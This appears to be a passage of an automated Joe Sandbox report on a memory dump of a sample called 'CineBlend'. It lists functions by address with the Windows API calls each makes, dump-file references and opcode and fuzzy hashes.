                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                  • String ID:
                                  • API String ID: 1986988660-0
                                  • Opcode ID: e44533937f5ea2f239cbe2363b21b76925e354c4de832d8236506184e958ef14
                                  • Instruction ID: 2bb981a5e486edb7ff72a358cbc1b806658acbf323ff156de29008ee666a0f0e
                                  • Opcode Fuzzy Hash: e44533937f5ea2f239cbe2363b21b76925e354c4de832d8236506184e958ef14
                                  • Instruction Fuzzy Hash: 1B719EB99152008FCB88EF79ED6DB1D7AE4FB48304B5282AEE109C72B1EB704545DF58
                                  Function 00B68A2E Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • CloseHandle.KERNELBASE(00000000,00000000,?,?,00B6894C,?,00BF9CE8,0000000C), ref: 00B68A84
                                  • GetLastError.KERNEL32(?,00B6894C,?,00BF9CE8,0000000C), ref: 00B68A8E
                                  • __dosmaperr.LIBCMT ref: 00B68AB9
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CloseErrorHandleLast__dosmaperr
                                  • String ID:
                                  • API String ID: 2583163307-0
                                  • Opcode ID: 9674281c02d610f942c206abc1fc96c010f5b31efb063d5b767704efce1a2f06
                                  • Instruction ID: ceb4506c860b8c5a874c4f06198e2c452005fb17ab8d3a4e87041ecc3a6ea111
                                  • Opcode Fuzzy Hash: 9674281c02d610f942c206abc1fc96c010f5b31efb063d5b767704efce1a2f06
                                  • Instruction Fuzzy Hash: B60149336055605AC63462F4AC86B7E67C9CB81734F2903DAFD148B1D2DF3C8D818591
                                  Function 00B6970B Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • SetFilePointerEx.KERNELBASE(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,1875FF1C,1875FF1C,?,00B697BA,FF8BC369,00000000,00000002,00000000), ref: 00B69744
                                  • GetLastError.KERNEL32(?,00B697BA,FF8BC369,00000000,00000002,00000000,?,00B65ED4,00000000,00000000,00000000,00000002,00000000,FF8BC369,00000000,00B56F41), ref: 00B6974E
                                  • __dosmaperr.LIBCMT ref: 00B69755
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorFileLastPointer__dosmaperr
                                  • String ID:
                                  • API String ID: 2336955059-0
                                  • Opcode ID: 2c791b99fdc5366d18114e9ada3cdbb21dce935705f8bedbb30c8cad776684da
                                  • Instruction ID: 008ade78274abab1c0d6ebf234ba3b55498c6fd560da50ebbb482116fc246cc9
                                  • Opcode Fuzzy Hash: 2c791b99fdc5366d18114e9ada3cdbb21dce935705f8bedbb30c8cad776684da
                                  • Instruction Fuzzy Hash: 72014736720515ABCB159FA9DC45DBE7BAEEB85330B280299FC119B190EB34DD41CB90
                                  Function 00BA0D18 Relevance: 4.5, APIs: 3, Instructions: 21COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetCurrentProcess.KERNEL32(00000030,00000000,?,00000002,00000000,?,00BA0B03,00000000,?,00000000,?,00B73A00,00000000), ref: 00BA0D2E
                                  • GetCurrentProcess.KERNEL32(?,00000000,?,00BA0B03,00000000,?,00000000,?,00B73A00,00000000), ref: 00BA0D36
                                  • DuplicateHandle.KERNELBASE(00000000,?,00BA0B03,00000000,?,00000000,?,00B73A00,00000000), ref: 00BA0D3D
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CurrentProcess$DuplicateHandle
                                  • String ID:
                                  • API String ID: 1294930198-0
                                  • Opcode ID: 0555cb868e00910f0a02d1467f7abb3803358bad04059c53117bd2cd2d2d352c
                                  • Instruction ID: bd4794c97487985a9899d77a61b0799be5509e257c1257009457400249a6ab81
                                  • Opcode Fuzzy Hash: 0555cb868e00910f0a02d1467f7abb3803358bad04059c53117bd2cd2d2d352c
                                  • Instruction Fuzzy Hash: 06D05E7B154305BBC7022BD5EC09F3B7BBCDBDAB22F14407AFA0997150AE7194019625
                                  Function 00B42B20 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON
                                  Download Yara Rule
                                  APIs
                                  • __Init_thread_footer.LIBCMT ref: 00B43006
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Init_thread_footer
                                  • String ID: CALL
                                  • API String ID: 1385522511-4196123274
                                  • Opcode ID: 1953227ebd4f3349470c2a8f123036e1065fa1f05ff08ee0083dc3ee71725f33
                                  • Instruction ID: 3b8fd7e20ee5622acdd871edf682633903401bedc779a9f739b311c48728cbc9
                                  • Opcode Fuzzy Hash: 1953227ebd4f3349470c2a8f123036e1065fa1f05ff08ee0083dc3ee71725f33
                                  • Instruction Fuzzy Hash: 05229D706082019FC714DF14C884B2ABBF1FF94314F6449ADF49A8B3A2DB71EA45EB52
                                  Function 00B33A95 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetOpenFileNameW.COMDLG32(?), ref: 00B7413B
                                    • Part of subcall function 00B35851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B355D1,?,?,00B74B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00B35871
                                    • Part of subcall function 00B33A57: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00B33A76
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Name$Path$FileFullLongOpen
                                  • String ID: X
                                  • API String ID: 779396738-3081909835
                                  • Opcode ID: abdb9654bc3e835a69bfdb998abc60427a53757b41ee4d2e03996d06ab94d1c9
                                  • Instruction ID: 6a1b5bcc7c36d6a9ab036a9cd254a617b57f9fa9063da918728c7c21eb9edc0a
                                  • Opcode Fuzzy Hash: abdb9654bc3e835a69bfdb998abc60427a53757b41ee4d2e03996d06ab94d1c9
                                  • Instruction Fuzzy Hash: 3721AE71A002589BDB01DF98C805BEE7BFCAF49300F108099E549A7241DFB89A8D8FA1
                                  Function 00B4FFE0 Relevance: 3.1, APIs: 2, Instructions: 94processCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CloseHandle.KERNELBASE ref: 00B5007D
                                  • CreateToolhelp32Snapshot.KERNEL32 ref: 00B5008F
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CloseCreateHandleSnapshotToolhelp32
                                  • String ID:
                                  • API String ID: 3280610774-0
                                  • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                  • Instruction ID: 99e9f78d01837ebdbe5ce2132b4d26a8164f307899cc874e5c20226704de72c1
                                  • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                  • Instruction Fuzzy Hash: E131C770A10109DBC719EF58D590B69F7E6FB49301B6886E5E809CB292D731EDC5CBC0
                                  Function 00B3396B Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • Shell_NotifyIconW.SHELL32(00000000,?), ref: 00B33A3C
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: IconNotifyShell_
                                  • String ID:
                                  • API String ID: 1144537725-0
                                  • Opcode ID: 9d80e3c77a639d6f8772f6cc7d69e7b02ace1f0028319bd3b17fa6f919b0945d
                                  • Instruction ID: 5271857654126f9b4a8b0b06905cc480a4e3b21e7e27201a091693219de8efac
                                  • Opcode Fuzzy Hash: 9d80e3c77a639d6f8772f6cc7d69e7b02ace1f0028319bd3b17fa6f919b0945d
                                  • Instruction Fuzzy Hash: 2131D570604300CFD720DF24D889B9BBBE8FB48709F10096EE6DA87290E770A948CB52
                                  Function 00B64EB8 Relevance: 3.1, APIs: 2, Instructions: 67COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetStdHandle.KERNEL32(000000F6), ref: 00B64F04
                                  • GetFileType.KERNELBASE(00000000), ref: 00B64F16
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FileHandleType
                                  • String ID:
                                  • API String ID: 3000768030-0
                                  • Opcode ID: c77ff0a4dc27c2b9ef1684e574d7626f758ae8beaa1e0c9dbefa5dda2d113da7
                                  • Instruction ID: c55fa579765f46012bb43da6a7b01141382cbe4a066b6f9cdf6af31fc812b17f
                                  • Opcode Fuzzy Hash: c77ff0a4dc27c2b9ef1684e574d7626f758ae8beaa1e0c9dbefa5dda2d113da7
                                  • Instruction Fuzzy Hash: C111D331108F424AC7348E3D9CD8622BAD5EB97330B3807AAE5BAC75F1C779DD829640
                                  Function 00BA0AC4 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                  Download Yara Rule
                                  APIs
                                  • InitializeCriticalSectionAndSpinCount.KERNEL32(00000018,00000FA0,?,00000000,?,00B73A00,00000000), ref: 00BA0AEC
                                  • InterlockedExchange.KERNEL32(00000038,00000000), ref: 00BA0B0E
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CountCriticalExchangeInitializeInterlockedSectionSpin
                                  • String ID:
                                  • API String ID: 4104817828-0
                                  • Opcode ID: 53a7eddc9e24d58f048e1be1358b74569ad886b87749f41fc39bc531b0e32826
                                  • Instruction ID: 1a7775840fecd47def1b55c249ca7d207e9a497d69d560db34d35c48ea4d47ac
                                  • Opcode Fuzzy Hash: 53a7eddc9e24d58f048e1be1358b74569ad886b87749f41fc39bc531b0e32826
                                  • Instruction Fuzzy Hash: 39F017B15007059BC3209F56D9448A7FBFCFF95720B40482EE48687A20CBB4B485CB90
                                  Function 00B3331B Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                  Download Yara Rule
                                  APIs
                                  • IsThemeActive.UXTHEME ref: 00B3333D
                                    • Part of subcall function 00B332E6: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00B332FB
                                    • Part of subcall function 00B332E6: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00B33312
                                    • Part of subcall function 00B3338B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,00B33368,?), ref: 00B333BB
                                    • Part of subcall function 00B3338B: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00B33368,?), ref: 00B333CE
                                    • Part of subcall function 00B3338B: GetFullPathNameW.KERNEL32(00007FFF,?,?,00C02418,00C02400,?,?,?,?,?,?,00B33368,?), ref: 00B3343A
                                    • Part of subcall function 00B3338B: SetCurrentDirectoryW.KERNEL32(?,00000001,00C02418,?,?,?,?,?,?,?,00B33368,?), ref: 00B334BB
                                  • SystemParametersInfoW.USER32(00002001,00000000,00000002,?), ref: 00B33377
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme
                                  • String ID:
                                  • API String ID: 1550534281-0
                                  • Opcode ID: 6c121f8c1d3797f6e7dd197deab2ca17bf8b09cdb0ff26f091acf830c3684cc7
                                  • Instruction ID: 2f18391f497653467e08bcd59dead50be4bbe93a94383628426e9a209fe8f213
                                  • Opcode Fuzzy Hash: 6c121f8c1d3797f6e7dd197deab2ca17bf8b09cdb0ff26f091acf830c3684cc7
                                  • Instruction Fuzzy Hash: C5F0E2315583449FD3016F70EC0FB3D37D8A704B0AF11489AB6098A1F2CFBA9154CB04
                                  Function 00BA0B4C Relevance: 3.0, APIs: 2, Instructions: 21COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00BA1312: InterlockedExchange.KERNEL32(?,?), ref: 00BA1322
                                    • Part of subcall function 00BA1312: EnterCriticalSection.KERNEL32(00000000,?), ref: 00BA1334
                                    • Part of subcall function 00BA1312: TerminateThread.KERNEL32(00000000,000001F6), ref: 00BA1342
                                    • Part of subcall function 00BA1312: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00BA1350
                                    • Part of subcall function 00BA1312: CloseHandle.KERNEL32(00000000), ref: 00BA135F
                                    • Part of subcall function 00BA1312: InterlockedExchange.KERNEL32(?,000001F6), ref: 00BA136F
                                    • Part of subcall function 00BA1312: LeaveCriticalSection.KERNEL32(00000000), ref: 00BA1376
                                  • CloseHandle.KERNELBASE(?,?,00BA0BBF), ref: 00BA0B5D
                                  • DeleteCriticalSection.KERNEL32(?,?,00BA0BBF), ref: 00BA0B83
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CriticalSection$CloseExchangeHandleInterlocked$DeleteEnterLeaveObjectSingleTerminateThreadWait
                                  • String ID:
                                  • API String ID: 2929296749-0
                                  • Opcode ID: 137af64304be65f06ac995cb4ec445284d0ad446695f551b06fe4397e90d1343
                                  • Instruction ID: 29e3f288ebe9c5adf015e65230e549be46ab8ecb9091c76d3289273fa54dc132
                                  • Opcode Fuzzy Hash: 137af64304be65f06ac995cb4ec445284d0ad446695f551b06fe4397e90d1343
                                  • Instruction Fuzzy Hash: 3FE04872024601DBCB703F55E805B45BBE4FF08311F2088AEF49656831CF7058C5CB09
                                  Function 00B3CAB0 Relevance: 2.1, APIs: 1, Instructions: 587COMMON
                                  Download Yara Rule
                                  APIs
                                  • __Init_thread_footer.LIBCMT ref: 00B3CEEE
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Init_thread_footer
                                  • String ID:
                                  • API String ID: 1385522511-0
                                  • Opcode ID: d4f499338072fc5728ba7899c32b515e4d6ff5fa9d64098a5f7e0c0fdaf0b0cb
                                  • Instruction ID: 6308eb05ca1dc68c13e23e307c31c3171092a00fd348fa8fffa5ac87e62a543b
                                  • Opcode Fuzzy Hash: d4f499338072fc5728ba7899c32b515e4d6ff5fa9d64098a5f7e0c0fdaf0b0cb
                                  • Instruction Fuzzy Hash: 6932A074A002459FCB14DF98C884BBEBBF9EF44350F2584E9E916AB261D734ED46CB90
                                  Function 00BB7AF9 Relevance: 1.8, APIs: 1, Instructions: 326COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: LoadString
                                  • String ID:
                                  • API String ID: 2948472770-0
                                  • Opcode ID: 0163ca95275ddb021e6fe8ae576329b859d47a6290a9bc25718ae70d29d6e6b5
                                  • Instruction ID: 8362961777952f47167bc2cd9ffa2645609e430e907d49d7cf32b4c8b527c043
                                  • Opcode Fuzzy Hash: 0163ca95275ddb021e6fe8ae576329b859d47a6290a9bc25718ae70d29d6e6b5
                                  • Instruction Fuzzy Hash: 46D11875A04209AFCB14EF98C8919FDBBF5FF48310F6441A9E915AB291DB70AE41CB90
                                  Function 00B5F106 Relevance: 1.7, APIs: 1, Instructions: 151COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 132099ef6a3cc010c68994f639c8762f6783fc546d0e828be27b282b3710d15b
                                  • Instruction ID: a48deaf3ab9a07be49cb71fc924431d1d960cbfcd7c98ddec5c3c819ac8303ac
                                  • Opcode Fuzzy Hash: 132099ef6a3cc010c68994f639c8762f6783fc546d0e828be27b282b3710d15b
                                  • Instruction Fuzzy Hash: FF51C675A00109AFDB10DF68C845BB9BBE2EB85365F1981E8FC189B391D732ED46CB50
                                  Function 00B36679 Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3663E: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B3668B,?,?,00B362FA,?,00000001,?,?,00000000), ref: 00B3664A
                                    • Part of subcall function 00B3663E: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00B3665C
                                    • Part of subcall function 00B3663E: FreeLibrary.KERNEL32(00000000,?,?,00B3668B,?,?,00B362FA,?,00000001,?,?,00000000), ref: 00B3666E
                                  • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00B362FA,?,00000001,?,?,00000000), ref: 00B366AB
                                    • Part of subcall function 00B36607: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B75657,?,?,00B362FA,?,00000001,?,?,00000000), ref: 00B36610
                                    • Part of subcall function 00B36607: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00B36622
                                    • Part of subcall function 00B36607: FreeLibrary.KERNEL32(00000000,?,?,00B75657,?,?,00B362FA,?,00000001,?,?,00000000), ref: 00B36635
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Library$Load$AddressFreeProc
                                  • String ID:
                                  • API String ID: 2632591731-0
                                  • Opcode ID: 30d1e53c3c482725eeea08395cd73204aa20bd75bc10afb682926f8158f5d3d8
                                  • Instruction ID: d5859999261bc542b0aca5e293e0cd9b3da99b0b139540bcc1a00c4702f190a1
                                  • Opcode Fuzzy Hash: 30d1e53c3c482725eeea08395cd73204aa20bd75bc10afb682926f8158f5d3d8
                                  • Instruction Fuzzy Hash: 5D112731600205BACF14AF24C907BEDBBE19F40740F30C4AEF452AA0C2DEB1DA05DB50
                                  Function 00B68782 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
